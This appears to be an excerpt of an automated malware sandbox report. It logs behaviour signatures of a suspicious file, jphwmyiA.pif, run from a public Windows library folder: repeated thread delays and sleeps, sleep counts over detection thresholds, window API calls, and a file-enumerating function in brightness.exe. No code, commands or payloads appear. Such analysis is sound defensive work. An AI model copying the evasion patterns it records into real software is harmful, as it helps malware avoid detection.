Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594685
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594560
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594445
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594335
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594226
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594116
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594007
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 593897
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 593782
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 593663
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 593554
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 593444
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 593335
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 593226
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 593108
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 593007
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592897
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592788
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592679
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592569
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592460
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592349
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592226
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 600000
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599891
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599779
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599672
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599563
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599453
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599344
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599234
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599125
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599016
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598906
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598797
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598686
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598578
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598469
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598359
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598250
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598141
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598016
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597844
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597725
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597588
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597481
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597375
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597266
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597156
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597047
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596933
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596828
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596719
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596594
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596485
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596360
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596235
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596110
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595985
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595860
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595735
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595610
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595485
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595360
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595235
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595110
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594938
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594788
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594672
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594562
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594453
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594344
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594234
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594125
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594016
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 593891

Source: C:\Users\Public\Libraries\jphwmyiA.pif	Window / User API: threadDelayed 1102	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Window / User API: threadDelayed 8676	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Window / User API: foregroundWindowGot 1752	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Window / User API: threadDelayed 6277
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Window / User API: threadDelayed 3508
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Window / User API: foregroundWindowGot 1746
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Window / User API: threadDelayed 7034
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Window / User API: threadDelayed 2787
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Window / User API: foregroundWindowGot 1763

Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -35048813740048126s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7420	Thread sleep count: 1102 > 30	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7420	Thread sleep count: 8676 > 30	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -599641s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -599525s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -599389s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -599269s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -598838s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -598679s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -598572s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -598468s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -598359s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -598203s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -598093s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -597984s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -597869s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -597750s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -597640s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -597530s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -597406s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -597297s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -597187s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -597062s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -596953s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -596839s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -596719s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -596609s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -596491s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -596388s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -596070s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -595953s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -595841s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -595734s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -595625s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -595484s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -595371s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -595258s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -595142s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -595031s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -594918s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -594805s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -594698s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -594586s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -594463s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -594337s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -594234s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -594124s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -594003s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -593708s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -593261s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -593086s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -592951s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -592734s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -592608s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -592433s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -592266s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -592130s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -592016s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -591890s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -591751s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7416	Thread sleep time: -591609s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep count: 37 > 30
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -34126476536362649s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -600000s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -599890s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7904	Thread sleep count: 6277 > 30
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7904	Thread sleep count: 3508 > 30
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -599780s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -599670s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -599539s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -599339s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -599219s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -599094s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -598984s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -598875s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -598765s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -598656s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -598547s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -598437s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -598327s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -598218s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -598057s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -597933s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -597816s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -597695s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -597565s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -597438s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -597316s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -597196s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -597023s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -596688s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -596526s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -596352s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -596245s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -596071s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -595927s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -595785s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -595616s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -595402s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -595238s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -595083s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -594956s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -594812s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -594685s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -594560s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -594445s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -594335s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -594226s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -594116s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -594007s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -593897s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -593782s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -593663s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -593554s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -593444s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -593335s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -593226s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -593108s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -593007s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -592897s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -592788s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -592679s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -592569s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -592460s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -592349s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 7900	Thread sleep time: -592226s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep count: 33 > 30
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -30437127721620741s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -600000s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -599891s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8112	Thread sleep count: 7034 > 30
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8112	Thread sleep count: 2787 > 30
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -599779s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -599672s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -599563s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -599453s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -599344s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -599234s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -599125s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -599016s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -598906s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -598797s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -598686s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -598578s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -598469s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -598359s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -598250s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -598141s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -598016s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -597844s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -597725s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -597588s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -597481s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -597375s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -597266s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -597156s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -597047s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -596933s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -596828s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -596719s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -596594s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -596485s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -596360s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -596235s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -596110s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -595985s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -595860s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -595735s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -595610s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -595485s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -595360s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -595235s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -595110s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -594938s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -594788s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -594672s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -594562s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -594453s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -594344s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -594234s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -594125s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -594016s >= -30000s
Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 8108	Thread sleep time: -593891s >= -30000s

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\SysWOW64\brightness.exe

Code function: 7_2_027B58B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

7_2_027B58B4

Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599525	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599389	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599269	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598838	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598679	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598572	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598359	Jump to behavior
